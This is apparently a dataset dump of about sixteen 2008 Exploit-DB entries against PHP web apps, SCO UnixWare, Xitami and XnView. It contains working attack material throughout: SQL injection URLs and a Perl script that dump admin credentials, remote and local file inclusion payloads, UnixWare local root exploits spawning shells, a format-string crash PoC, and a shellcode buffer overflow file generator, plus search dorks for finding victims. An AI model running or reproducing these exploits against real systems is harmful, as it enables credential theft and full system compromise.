QLWD/code_shield huggingface dataset:
标题: Blogator-script 0.95 - 'incl_page' Remote File Inclusion EDB-ID: 5365 CVE: 2008-1760 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: -------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : Blogator-script  Version 2
# Bug   : Remote File Inclusion
# Download  : http://www.blogator-script.com/telecharger.php
# file  : struct_admin.php & struct_admin_blog.php  & struct_main.php
# Eror  :
   <? include($incl_page); ?>
=========================JIkI Team===================
# Exploit  :
 
  http://localhost/[script]/_blogadata/include/struct_admin.php?incl_page=http://localhost/shell.txt?
http://localhost/[script]/_blogadata/include/struct_admin_blog.php?incl_page=http://localhost/shell.txt?
http://localhost/[script]/_blogadata/include/struct_main.php?incl_page=http://localhost/shell.txt?
=========================JIKI Team===================
 greetz : all my friend and H-T Team 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5365
标题: PHP Photo Gallery 1.0 - 'photo_id' SQL Injection EDB-ID: 5364 CVE: 2008-1875 2008-1711 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: --==+================================================================================+==--
--==+     PHP Photo Gallery 1.0 SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 4 April 2008
SITE: http://www.terong.com/products/advanced-photo-gallery/
DORK: N/A


DESCRIPTION:
PHP Photo Gallery is vulnerable due to insecure mysql querys.
The below "mysql injection" will display the admin username/password in plaintext.


EXPLOITS:
http://gallery.terong.biz/index.php?photo_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password,0x3a,admin),4/**/FROM/**/users/**/WHERE/**/admin=0x59/*


NOTE/TIP:
passwords are in plaintext 


GREETZ: milw0rm.com, h4ck-y0u.org !



--==+================================================================================+==--
--==+     PHP Photo Gallery 1.0 SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5364
标题: XPOZE Pro 3.05 - 'reed' SQL Injection EDB-ID: 5358 CVE: 2008-1874 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: #!/usr/bin/perl

# - XPOZE Pro <= 3.05 SQL Injection Exploit -
#     Coded And Discovered by t0pP8uZz

# Why a exploit? mainly to dump all users easyily.
# Lots of websites are reslling this script, so there is no suitable dork.

use strict;
use LWP::UserAgent;

print "-------------------------------------------------\n";
print "-     XPOZE Pro <= 3.05 SQL Injection Exploit   -\n";
print "-         Discovered & Coded By t0pP8uZz        -\n";
print "-     CipherCrew, h4ck-y0u.org, milw0rm.com     -\n";
print "-------------------------------------------------\n\n";

print "Enter URL (ie: http://xpoze.com/demo/): ";
 chomp(my $url = <STDIN>);

print "Enter Valid Username (register on target site first): ";
 chomp(my $user = <STDIN>);

print "Enter Valid Password (register on target site first): ";
 chomp(my $pass = <STDIN>);

print "Attack Type (enter 1 too dump all users, enter 2 too get admin details): ";
 chomp(my $type = <STDIN>);

my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar => {} );
my $response = $ua->post($url, {'username' => $user, 'password' => $pass, 'login' => 'Submit'});

if($response->is_success()) {

 if($type == 1) {
 
  my $res = $ua->get($url."/account/user/mail.html?reed=-1 UNION ALL SELECT 1,2,3,4,concat(0x3C313E,user,0x3a,pass,0x3C323E),6,7 FROM users/*");
  (my @users) = $res->content =~ /<1>(.*?)<2>/g;
  
  open(FILE, "+>>C:\users.txt") or die ("Error Writing Users To File!");
  
  foreach $user (@users) {
   print FILE $user."\r\n";
   print $user."\n";
  }
  close FILE;
  print "Users Have Been Dumped To Local File 'C:\\users.txt'\n";
  
 } elsif($type == 2) {
 
  my $res = $ua->get($url."/account/user/mail.html?reed=-1 UNION ALL SELECT 1,2,3,4,concat(0x3C313E,user,0x3a,pass,0x3C323E),6,7 FROM users WHERE rank=0/*");
  (my @users) = $res->content =~ /<1>(.*?)<2>/;
  
  my @user = split(/:/, $users[0]);
  
  print "\n\nAdmin Username: ".$user[0];
  print "\nAdmin Password: ".$user[1];
  print "\n\nDone!";
  
 } else { print "Invalid Attack Type!"; exit; }
} else { print "Check username/password!"; exit; }
exit;

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5358
标题: Comdev News Publisher 4.1.2 - SQL Injection EDB-ID: 5362 CVE: 2008-1872 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: --==+================================================================================+==--
--==+      Comdev News Publisher SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 4 April 2008
SITE: www.comdevweb.com
DORK (altavista.com/google): "Powered by Comdev News Publisher"

VENDOR Has Not Been Notified!


DESCRIPTION: 
Comdev News Publisher, suffers from insecure sql querys, which allows malicous users to pull data
from the database and view admin/user passwords in plaintext.


EXPLOITS:
All Users: www.site.com/index.php?arcyear=-1&arcmonth=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11/**/FROM/**/sys_user/*
Admin: http://site.com/index.php?arcyear=-1&arcmonth=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11/**/FROM/**/sys_user/**/WHERE/**/permission=0x414C4C/*


NOTE/TIP: 
admin login is located at /oneadmin/
some sites use .htm/.html extensions instead of .php and some sites use "main" instead of "index" 
they do this using a modified htaccess file, no worries the injections will still work just change "index.php"
in the above injections.


GREETZ: milw0rm.com, h4ck-y0u.org !



--==+================================================================================+==--
--==+      Comdev News Publisher SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5362
标题: KwsPHP Module jeuxflash 1.0 - 'cat' SQL Injection EDB-ID: 5352 CVE: 2008-1759 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: #########################################################################
    KwsPHP  Module jeuxflash  Remote SQL Injection Exploit
#########################################################################

## AUTHOR :  HouSSamix From H-T Team

## Script : KwsPHP  Module jeuxflash
## Version : last version 
## Bug : Remote SQL Injection Exploit
## Dork : inurl:index.php?mod=jeuxflash

## EXPLOITS :

http://server.com/Path/index.php?mod=jeuxflash&cat=-1%20union%20select%201,concat(pseudo,0x3a,pass),3%20from%20users%20where%20id=1--

## GREETZ  : All muslims Hackers 

#########################################################################
        H-T Team { HouSSaMiX _ ToXiC350 }
#########################################################################

# milw0rm.com [2008-04-03] URL: https://www.exploit-db.com/exploits/5352
标题: Vastal I-Tech Software Zone - 'cat_id' SQL Injection EDB-ID: 5359 CVE: 2008-6209 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: --==+================================================================================+==--
--==+           Software Zone SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.vastal.com/software-zone-a-script-for-selling-your-softwares.html
DORK: N/A


DESCRIPTION: 
pull out admin user:pass


EXPLOITS:
http://www.server.com/view_product.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14 FROM/**/admin_users/*


NOTE/TIP: 
administrator login is at /admin/


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+           Software Zone SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5359
标题: KwsPHP Module ConcoursPhoto 2.0 - 'C_ID' SQL Injection EDB-ID: 5353 CVE: 2008-1758 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: #########################################################################
    KwsPHP  Module ConcoursPhoto  Remote SQL Injection Exploit
#########################################################################

## AUTHOR :  Stack-Terrorist [v40]
## Email  :  admin@v4-team.com
## Home   :  http://v4-team.com & http://stack-terrorist.com
## Script : KwsPHP  Module ConcoursPhoto
## Bug : Remote SQL Injection Exploit
## Dork : inurl:index.php?mod=ConcoursPhoto

## EXPLOITS :

http://server.com/Path/index.php?mod=ConcoursPhoto&VIEW=prix&C_ID=-1/**/union/**/select/**/concat(pseudo,0x3a,pass)/**/from/**/users/**/where/**/id=1/*

## GREETZ  : All muslims Hackers
## speacial thnx to : str0ke

#########################################################################
                        Stack-Terrorist [v40]
#########################################################################

# milw0rm.com [2008-04-03] URL: https://www.exploit-db.com/exploits/5353
标题: SCO UnixWare < 7.1.4 p534589 - 'pkgadd' Local Privilege Escalation EDB-ID: 5355 CVE: 2008-1343 2008-0310 类型: LOCAL 平台: SCO 发布日期: 2008-04-04 漏洞利用脚本: #!/bin/ksh
#
# 04/2008: public release
# SCO UnixWare < 7.1.4 p534589
#
if [ `id -un` = 'root' ]; then
 grep -v " $1-root\$" /var/adm/sulog >su.log
 cp su.def /etc/default/su
 cp su.log /var/adm/sulog
 rm -f su.def su.log woot.log
else
 echo "------------------------------------"
 echo " UnixWare pkgadd Local Root Exploit"
 echo " By qaaz"
 echo "------------------------------------"
 EVIL=`echo 'XX\nPROMPT=No\nXX'`
 cp /etc/default/su su.def
 ln -s /etc/default/su woot.log
 PKGINST=../../../..`pwd`/woot /usr/sbin/pkgadd "$EVIL" 1>/dev/null 2>&1
 su root -c "$0 `id -un`; /bin/sh -i"
fi

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5355
标题: SCO UnixWare Merge - 'mcd' Local Privilege Escalation EDB-ID: 5357 CVE: 2008-6559 类型: LOCAL 平台: SCO 发布日期: 2008-04-04 漏洞利用脚本: /* 04/2008: public release
 * I have'nt seen any advisory on this; possibly still not fixed.
 *
 * SCO UnixWare Merge mcd Local Root Exploit
 * By qaaz
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>

#define TARGET "/usr/lib/merge/mcd"
#define DIR "/proc/%d/object", getpid()
#define BIN "a.out"
#define LNK "hrc;" BIN ";prc"
#define DEV "/dev/cdrom/cdrom1"

int main(int argc, char *argv[])
{
 char  dir[4096], bin[4096];
 char  dev[4096], env[4096];
 pid_t  child;
 struct stat st;

 if (geteuid() == 0) {
  setuid(geteuid());
  setgid(getegid());
  if (strstr(argv[0], BIN)) {
   umask(0);
   chown(BIN, 0, 3);
   chmod(BIN, 06777);
   kill(getppid(), 15);
   return 0;
  }
  putenv("HISTFILE=/dev/null");
  execl("/bin/sh", "sh", "-i", NULL);
  printf("[-] sh: %s\n", strerror(errno));
  return 1;
 }

 printf("---------------------------------------\n");
 printf(" UnixWare Merge mcd Local Root Exploit\n");
 printf(" By qaaz\n");
 printf("---------------------------------------\n");

 if (access(TARGET, EX_OK) < 0) {
  printf("[-] %s: %s\n", TARGET, strerror(errno));
  return 1;
 }

 if (symlink(DEV, LNK) < 0) {
  printf("[-] %s: %s\n", LNK, strerror(errno));
  return 1;
 }

 sprintf(dir, DIR);
 sprintf(bin, "%s/%s", dir, BIN);

 snprintf(dev, sizeof(dev), "/dev/cdrom/../../%s/%s", getcwd(NULL, 4096), LNK);
 snprintf(env, sizeof(env), "PATH=.:%s", getenv("PATH"));

 if ((child = fork()) == 0) {
  chdir(dir);
  putenv(env);
  execl(TARGET, TARGET, "-u", "-d", dev, NULL);
  printf("[-] %s: %s\n", TARGET, strerror(errno));
  return 1;
 } /*else if (child != -1)
  waitpid(child, NULL, 0);*/

 printf("[*] Waiting for privs...\n");
 while (stat(bin, &st) == 0) {
  if ((st.st_mode & 06777) == 06777) {
   printf("[+] Enjoy\n");
   unlink(LNK);
   execl(bin, "woot", NULL);
   printf("[-] %s: %s\n", bin, strerror(errno));
   return 1;
  }
  sleep(1);
 }
 printf("[-] %s: %s\n", bin, strerror(errno));
 unlink(LNK);
 return 0;
}

// milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5357
标题: SCO UnixWare Reliant HA 1.1.4 - Local Privilege Escalation EDB-ID: 5356 CVE: 2008-6558 类型: LOCAL 平台: SCO 发布日期: 2008-04-04 漏洞利用脚本: /* 04/2008: public release
 * I have'nt seen any advisory on this; possibly still not fixed.
 *
 * SCO UnixWare Reliant HA Local Root Exploit
 * By qaaz
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define TGT1 "/usr/opt/reliant/bin/hvdisp"
#define TGT2 "/usr/opt/reliant/bin/rcvm"
#define DIR "bin"
#define BIN DIR "/hvenv"

int main(int argc, char *argv[])
{
 char self[4096], *target;
 pid_t child;

 if (geteuid() == 0) {
  setuid(geteuid());
  dup2(3, 0);
  dup2(4, 1);
  dup2(5, 2);
  if ((child = fork()) == 0) {
   putenv("HISTFILE=/dev/null");
   execl("/bin/sh", "sh", "-i", NULL);
   printf("[-] sh: %s\n", strerror(errno));
  } else if (child != -1)
   waitpid(child, NULL, 0);
  kill(getppid(), 15);
  return 1;
 }

 printf("----------------------------------------\n");
 printf(" UnixWare Reliant HA Local Root Exploit\n");
 printf(" By qaaz\n");
 printf("----------------------------------------\n");

 if (access(TGT1, EX_OK) == 0)
  target = TGT1;
 else if (access(TGT2, EX_OK) == 0)
  target = TGT2;
 else {
  printf("[-] No targets found\n");
  return 1;
 }

 sprintf(self, "/proc/%d/object/a.out", getpid());

 if (mkdir(DIR, 0777) < 0 && errno != EEXIST) {
  printf("[-] %s: %s\n", DIR, strerror(errno));
  return 1;
 }

 if (symlink(self, BIN) < 0) {
  printf("[-] %s: %s\n", BIN, strerror(errno));
  rmdir(DIR);
  return 1;
 }

 if ((child = fork()) == 0) {
  char path[4096] = "RELIANT_PATH=";

  dup2(0, 3);
  dup2(1, 4);
  dup2(2, 5);
  putenv(strcat(path, getcwd(NULL, sizeof(path)-14)));
  execl(target, target, NULL);
  printf("[-] %s: %s\n", target, strerror(errno));
  return 1;
 } else if (child != -1)
  waitpid(child, NULL, 0);

 unlink(BIN);
 rmdir(DIR);
 return 0;
}

// milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5356
标题: Xitami Web Server 2.5c2 - LRWP Processing Format String (PoC) EDB-ID: 5354 CVE: 2008-6519 类型: DOS 平台: WINDOWS 发布日期: 2008-04-03 漏洞利用脚本: /**
 *
 * PoC exploit for Xitami Web Server v2.5c2 LRWP processing format string bug
 * Advisory is available at: http://www.bratax.be/advisories/b013.html
 * (multiple vulnerabilities! check it out!)
 *
 * @author: bratax
 * @url: http://www.bratax.be/
 * @email: bratax@gmail.com
 *
 * Thanks to BuzzDee for learning me how to use reverse code engineering to
 * find bugs & thanks to DiabloHorn as well ;-)
 * Greetz to NR!
 *
**/

#include <stdio.h>
#include <string.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")
#define PORT 81 // target port

int main(int argc, char *argv[]){

  int sockfd;
  struct hostent *he;
  struct sockaddr_in their_addr;
  WSADATA wsaData;
  char formatstring[250];

  if (argc != 2){
    printf("\nXitami Web Server 2.5c2\n" );
    printf("Format String PoC by bratax - http://www.bratax.be/\n\n");
    printf("[+] tested on WinXP Pro SP2 & Vista\n");
    printf("[+] usage: %s <hostname>\n\n", argv[0]);
    return -1;
  }

    if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) {
    fprintf(stderr, "WSAStartup failed.\n");
    return -1;
  }

  if ((he=gethostbyname(argv[1])) == NULL){  // get the host info
    perror("gethoscattbyname");
    return -1;
  }

  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    perror("socket");
    return -1;
  }

  their_addr.sin_family = AF_INET;  // host byte order
  their_addr.sin_port = htons(PORT);  // short, network byte order
  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct

  if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1){
    printf("[-] Connect failed.\n");
    closesocket(sockfd);
    return -1;
  }

  printf("[+] Server is listening...\n");

  Sleep(1000);

  /*
    setup format string request:
              %s*100 + \xFF + somestring + \xFF     (program termination)
    or:
              %n + \xFF + somestring + \xFF         (program crash)
  */

  memset(formatstring,'\x41', sizeof(formatstring));
  for (int i = 0; i<200; i+=2){
    memcpy(formatstring+i, "%s", 2);
  }
  memcpy(formatstring+200, "\xFF", 1);
  memcpy(formatstring+249, "\xFF", 1);

  printf("[+] Sending format string request...");
  Sleep(2000);

  if (send(sockfd,formatstring,sizeof(formatstring),0) == -1) {
    Sleep(2000);
    printf("failed! Exiting...\n");
    closesocket(sockfd);
    WSACleanup();
    return -1;
  }

  Sleep(2000);
  closesocket(sockfd);
  printf("done.\n");


  return 0;
}

// milw0rm.com [2008-04-03] URL: https://www.exploit-db.com/exploits/5354
标题: KwsPHP 1.3.456 Module Galerie - 'id_gal' SQL Injection EDB-ID: 5350 CVE: 2008-6197 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-03 漏洞利用脚本: ##########################################
#
# KwsPHP v1.3.456 (galerie)SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?mod=galerie"action=gal
#
###########################################
EXPLOiT :

index.php?mod=galerie&action=gal&id_gal=-99999/**/union/**/select/**/0,1,concat(pseudo,0x3a,pass),concat(pseudo,0x3a,pass),4,5,6,7/**/from/**/users/*


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-03] URL: https://www.exploit-db.com/exploits/5350
标题: XnView 1.92.1 - 'FontName' Slideshow Buffer Overflow EDB-ID: 5346 CVE: 2008-0069 类型: LOCAL 平台: WINDOWS 发布日期: 2008-04-02 漏洞利用脚本: #!/usr/bin/perl

# ================================================================
# XnView 1.92.1 Slideshow "FontName" Buffer Overflow
# ================================================================
#
# Calc execution POC Exploit for WinXP SP1 pro English
#
# Found by   : Stefan Cornelius, Secunia Research
# Advisory   : http://secunia.com/secunia_research/2008-6/advisory
#
# Exploit by : haluznik | haluznik<at>gmail.com
#
# 04.01.2008 ..April Fools Day ;)
# ================================================================


print "\n [*] XnView 1.92.1 Slideshow exploit by haluznik\n\n";

my $head=
"\x23\x20\x53\x6c\x69\x64\x65\x20\x53\x68".
"\x6f\x77\x20\x53\x65\x71\x75\x65\x6e\x63".
"\x65\x0d\x0a\x46\x6f\x6e\x74\x4e\x61\x6d".
"\x65\x20\x3d\x20\x22";

$fontname = "A" x 32 . "\xcc\x59\xfb\x77";

my $shellcode=
"\x33\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b".
"\x50\x53\xb9\x44\x80\xc2\x77\xff\xd1\x50".
"\xbb\xfd\x98\xe7\x77\xff\xd3";

my $tail=
"\x22\x0d\x0a\x22\x43\x3a\x5c\x74\x65\x73".
"\x74\x2e\x6a\x70\x67\x22\x0d\x0a";

$sld = $head . $fontname . $shellcode . $tail;

print " [+] Creating poc.sld file..\n";

open(file,">poc.sld") || die " [-] cannot write file\n";
print(file $sld);
close(file);
print " [*] Done!\n";

# milw0rm.com [2008-04-02] URL: https://www.exploit-db.com/exploits/5346
标题: PhpBlock a8.4 - 'PATH_TO_CODE' Remote File Inclusion EDB-ID: 5348 CVE: 2008-1776 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-02 漏洞利用脚本: Script Name : PHP Block a8.4
 
Download : http://sourceforge.net/project/downloading.php?group_id=186381&use_mirror=surfnet&filename=a8.4.zip&73507325
 
Error : include_once $PATH_TO_CODE."/script/fonction.php";
 
Vul Code : http://[site]/[Path]/modules/basicfog/basicfogfactory.class.php?PATH_TO_CODE=http://[ShellCode]
 
Greetz : Kezzap66345 - Str0ke - Dread 35

# milw0rm.com [2008-04-02] URL: https://www.exploit-db.com/exploits/5348
标题: DaZPHP 0.1 - 'prefixdir' Local File Inclusion EDB-ID: 5347 CVE: 2008-1696 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-02 漏洞利用脚本: Script Name : DaZPHP

Download : http://sourceforge.net/project/showfiles.php?group_id=132192
Vul Code[Example] : http://[site]/[Path]/makepost.php?prefixdir=../../../../../../etc/passwd

Error : include "./".$prefixdir."/DaZPHPNews-0.1-1/makepost.php";
Greetz : Kezzap66345 - Str0ke - Dread 35

# milw0rm.com [2008-04-02] URL: https://www.exploit-db.com/exploits/5347
标题: Joomla! Component OnlineFlashQuiz 1.0.2 - Remote File Inclusion EDB-ID: 5345 CVE: 2008-1682 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-02 漏洞利用脚本: /==============================================================================================================\
  |               |
  |  [o] Online FlashQuiz 1.0.2 Remote File Inclusion Vulnerability       |
  |               |
  |       Software   :  com_onlineflashquiz version 1.0.2 - paid component      |
  |       Developer  :  www.elearningforce.biz          |
  |       Author     :  NoGe            |
  |       Contact    :  noge[dot]code[at]gmail[dot]com         |
  |               |
  |==============================================================================================================|
  |               |
  |  [o] Vulnerable file            |
  |               |
  |       component/com_onlineflashquiz/quiz/common/db_config.inc.php       |
  |               |
  |        include_once($base_dir."common/classes/DBBase.class.php");       |
  |               |
  |               |
  |               |
  |  [o] Exploit             |
  |               |
  |       http://localhost/path/component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=[evilcode]  |
  |               |
  |==============================================================================================================|
  |               |
  |  [o] Greetz              |
  |               |
  |       all crew #papuahacker #baliemhackerlink #nyubicrew        |
  |       skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke        |
  |       yooogy H312Y Vrs-hCk Oon_Boy Paman mousekill }^-^{ SiKodoQ       |
  |       http://kapukvalley.net member           |
  |               |
  \==============================================================================================================/

# milw0rm.com [2008-04-02] URL: https://www.exploit-db.com/exploits/5345